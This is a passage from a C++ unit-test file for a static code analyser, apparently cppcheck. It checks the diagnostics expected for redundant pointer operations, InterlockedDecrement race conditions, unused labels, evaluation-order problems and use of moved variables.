*b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. 